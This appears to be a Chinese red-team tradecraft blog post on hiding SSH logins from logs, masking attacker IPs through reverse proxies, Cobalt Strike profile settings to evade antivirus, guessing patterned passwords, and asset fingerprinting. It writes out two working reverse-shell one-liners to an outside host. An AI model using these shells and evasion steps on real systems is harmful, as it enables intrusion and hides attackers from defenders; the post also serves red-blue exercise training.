【安全实战】红队攻防技术
前言
希望能夠面向紅藍雙方進行講解,在進行一些攻擊方式分析時,同樣也會引起防守方對于攻擊的思考。紅藍對抗的意義也正是在這種持續的攻擊下不斷尋找防御的平衡點,故 未知攻,焉知防。
? 本文僅做安全研究作用,切勿違法亂紀。
幽靈登錄
? ssh -T root@192.168.1.1 /usr/bin/bash -i
? 相信熟悉紅隊的小伙伴,不難看出,上面這條命令在日常滲透中,進行登錄操作會經常使用,因為他不分配偽終端的方式而不會被w和last等命令記錄。所以在某些時候,如果防守方在上機排查時,僅查看日志發現沒有異常登錄,卻沒有注意到是否存在異常網絡連接時,就會判斷為誤報,給攻擊者可乘之機。
通過上圖,大家可以看到沒有任何的登錄信息,同樣lastlog也不會記錄本次登錄行為。那么這種方式沒有辦法排查嗎?其實不是的,因為攻擊者在連接22端口時,并不是沒有痕跡,只要連接SSH端口就一定存在記錄。
如圖,我們從lsof以及ss命令結果中發現了連接服務器的惡意IP地址,那么這里留一個疑問,攻擊者還有什么辦法可以規避這樣的排查方式呢?其實,在全國HW中,常見的隱匿個人主機IP地址的方式有許多,例如:肉雞代理流量、VPN、基礎隱匿設施等手段。而在攻擊溯源的過程中,防守方通過攻擊肉雞服務器獲取權限從而溯源攻擊者信息的手段屢試不爽,除非攻擊者愿意在拿下肉雞權限后長期維護,不然一些水平不錯的溯源人員也可以通過相同的方式拿下權限追溯攻擊源,當然很少有攻擊者愿意花費時間成本在一個肉雞上,基本上都是用一次換一個。
? 但是不得不承認,時至今日,肉雞仍然是非常有效的隱匿及攻擊方式。
SSH隧道隱匿
? 目前的內網滲透中,市面上有著大量各種各樣的代理工具,例如:frp、ew、nps、venom、regeorg等等,根據不同的場景使用的協議也各不相同,也有DNS、ICMP、RDP這些非常規協議代理的工具。但是這些代理工具基本上都被一些殺軟和態感所敏感,基本上在非免殺狀態下就是落地被殺。所以也更加推薦大家使用一些系統自帶的工具進行代理流量,例如:SSH隧道代理,Windows netsh、iptables等。本段將著重講解SSH隧道代理的Tips。
? 這里我們可以著重看一下箭頭所指的地方,通過SSH隧道代理的方式,拋開我們VPS用戶密碼被監測到不談,真實IP也一覽無余的在網絡進程以及相關連接中,老道的防守方成員可以很直觀的發現是一起【SSH隧道代理事件】,但是這里也不是我們所需要關注的,畢竟我們不能把所有防守方當傻子,要正視對手的能力。【網絡安全學習資料·攻略】
? 這里我們采取Nginx反向代理的方式,具體實現方式這里不多贅述,感興趣的同學可以關注Ngrok或者Heroku等方式的配置,也可以自己使用匿名域名及服務器搭建。
? 通過上圖我們可以看到使用反向代理的地址進行SSH隧道轉發可以有效的隱匿真實的IP地址以及IP地址,注意這里的IP地址是Ngrok服務器的地址,從而實現了隱匿的效果。
反彈shell隱匿
? 在我們日常滲透Linux主機的時候,當碰到RCE漏洞的時候,需要進行反彈獲取交互shell的時候,通常都會使用以下兩條命令。
例1:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s例2:
bash -c 'exec bash -i &>/dev/tcp/192.168.0.100/2333 <&1'? 以上的兩個例子可以說是我們日常滲透中最常用的兩條反彈shell命令,當然例1的優點是他的流量是進行了加密的,在這種情況下反彈shell執行的命令是無法被流控監測到的,最多可能會報 隱蔽隧道通信 的異常事件,但是這種事件對于一個有一定規模的值守單位,真的是太正常了。每天都會發生成千上萬起類似的誤報,而像向日葵、teamview這一類的報警基本都是直接忽略的。
? 但是我們所需要注意的也正是這樣的反彈方式,無論是例1還是例2我們都會發現都是不可避免的泄露了真實IP地址。其實這里的隱匿方式與上面的SSH隧道代理的原理是一樣的。都是通過了反向代理的方式實現的,之前的文章中的滲透操作中也有使用這樣的方式,然后有師傅咨詢過,所以這里再拿出來冷飯熱炒一下。
最終的效果如上圖,可以看到反彈shell的地址為反向代理的域名,連接的端口為10075而實際上線的端口并不是這一個,這也僅僅是與前端服務器建立的網絡連接,實際真正上線的為前端服務器轉發給后端服務器的地址。
CosbaltStrike Profile
? 相信絕大多數從事滲透工作的同學對于CosbaltStrike這個工具都不陌生,雖然目前一線的紅隊已經逐漸從CS轉到一些小眾的C2設施去,但是不置可否的是CS仍然是非常好用的工具,它所提供的Profile自定義流量特征的功能,如果配置得體搭配域前置技術實現高信譽域名結合,所制造的效果基本上與正常的流量沒有差異。
? 靈活的編寫Porfile是非常行之有效的,也不僅僅只是應用于偽造隱匿,在做免殺時,通過配置相關的混淆參數也可以過卡巴斯基的流量查殺,在之前測試免殺時,基本上靜態已經過了,但是腳本仍然啟動一會就被查殺了,這時通過配置CS profile的以下兩段代碼解決。
通過配置 set obfuscate “true”; 高度混淆內存中的代碼繞過。
而對于我們使用域前置的方式,假設profile不進行任何配置,則會告警。如下圖
? 這時通過配置profile中stage的set cleanup “true”;即可解決。
? 這里風起哥將自己編寫的profile文件傳到了Github上,感興趣的小伙伴可以自行下載進行個性化配置。
? Github:https://github.com/wikiZ/service_cobaltstrike
運維慣性密碼
? 在很多時候我們橫向拿下主機服務也不一定非要通過正面打漏洞的方式,在某次滲透項目中,我們通過推測運維密碼習慣的方式拿下了23臺Redis數據庫,起初通過配置文件只發現了一個redis數據庫密碼,但是本機上部署有大量的redis數據庫,但是通過對這些redis數據庫的端口號與密碼分析得到了一個規律。【網絡安全學習資料·攻略】
zzRedis63902020 像這個密碼,不難猜測密碼為前后綴固定格式,中間四位為本機端口號,然后重新組合登錄,然后嘗試登錄,發現確實如此。
? 然后,懂得都懂。
? 值得思考的是,這樣的密碼組合方式拓寬權限的方式真的不要太多了。畢竟運維也是人,不可能一個服務一個密碼,但是安全管理規定也要執行,所以很多時候就出現了這些富有規律的密碼。
? 所以像此類攻擊獲取的權限,也許不是防守方人不行,而真的是路不平了吧哈哈哈。
行為測繪
? 上面講解了幾個紅藍對抗中常碰到的一些Tips,其實就目前一些地方護網項目來看,與常規滲透的區別也并不是很大,所以上面講的一些方式可能更加適用于全國HW行動中使用,因為無論是人員水準還是重視程度都差異非常大。
? 但是不管在日常滲透中還是HW項目中,行為測繪都是非常行之有效的資產測繪手段。
? 首先對于梳理企業資產,我們首先需要思考三個W,也就是who? what? where? 字面來看也就是誰的?什么?哪里? 而應用于紅隊,目前各級護網對于資產歸屬的劃分其實比較嚴格,例如資產屬于總集團還是二級單位或者子公司,是否與集團內網互通?都是需要思考以及確認的點。那么我們首先從who去思考再從what誰和where在哪里去收集,資產的所屬單位以及相關的網絡信息,例如使用的框架、部署的業務系統、服務、開放的端口、使用的開發語言、域名等等。
? 不同的群體,可能表現出基本的獨有的特征,當我們能掌握到這個特征,那么我們就能盡可能識別出這個群體里的所有個體,而這些所謂的行為特征在網絡空間測繪里表現出的是這個設備各個端口協議里的banner特征。
? 目前在網絡空間測繪里常用的通用組件指紋識別形成的指紋庫就是利用了通用組件通用的默認配置特征這個“行為”來進行識別的。
? 也就是說,當我們掌握了一定的目標資產特征的時候,就可以根據我們對指紋的理解編寫規則更加精準的匹配資產。并且通過資產測繪的方式也可以盡量減少主動掃描被發現的概率,因為一般的目標組織,他的對外業務服務并不會頻繁的改動,所以我們得到的信息通常是較為精準的。
? 這里我們最常提取的特征像favicon圖標hash碼,HTTPS證書序列號,前端代碼段,服務連接banner等。
【網絡安全學習資料·攻略】
? 例如我們去做漏洞應急,以exploit-db上的公開漏洞舉例。
該舉例漏洞為國外的一個WIFI攝像頭設備的未授權RCE漏洞,我們可以看到公開的漏洞POC中得到了兩個關鍵信息,該漏洞是通過連接目標設備telnet 23端口,因為default用戶登錄未鑒權導致。所以我們通過提取port:23 +"goke login:"這兩個特征作為指紋關聯受影響的資產。
? 通過Kunyu關聯資產,發現全網共有318臺脆弱資產。
? 同樣對于內網中的一些隱秘資產也可以采取HOSTS碰撞的方式。這種方式也是源于在企業內網中可能使用了很多Nginx反向代理,僅能使用配置好的ServerName的內網域名進行訪問,那么我們在外網使用HOSTS碰撞的方式就可以碰撞出很多僅能內網使用的業務平臺,直通內網業務!
? 這里僅做拋磚引玉的作用,更高效的企業資產收集方式可以關注Kunyu(坤輿)的使用。
knownsec/Kunyu: Kunyu, more efficient corporate asset collection (github.com)
后記
? 再次感謝各位讀者的支持,我一直覺得寫文章是一件很有意思的事,把自己所學的,總結的經驗以文字的形式傳遞下去,我最初的想法也是如此,我認為哪怕只有一位師傅看到我的文章后覺得有所收獲,那么我覺得我所做的就不是沒有意義的。
? Kunyu(坤輿),后期持續維護更新,目前已經著力于結合測繪數據進行深度信息收集,并且后續會將更新點著力于此。同樣應用于打擊新型網絡犯罪中也有顯著效果,會在之后的文章以實戰的方式展示給大家。
? 最后祝大家心想事成,美夢成真!
Community
有想要【網絡安全學習資料·攻略】的,或者交流技術的同學,可以關注私我獲取
總結
以上是生活随笔為你收集整理的【安全实战】红队攻防技术的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全技术】关于几种dll注入方式的学习
- 下一篇: 【Web安全】从xxe到phar反序列化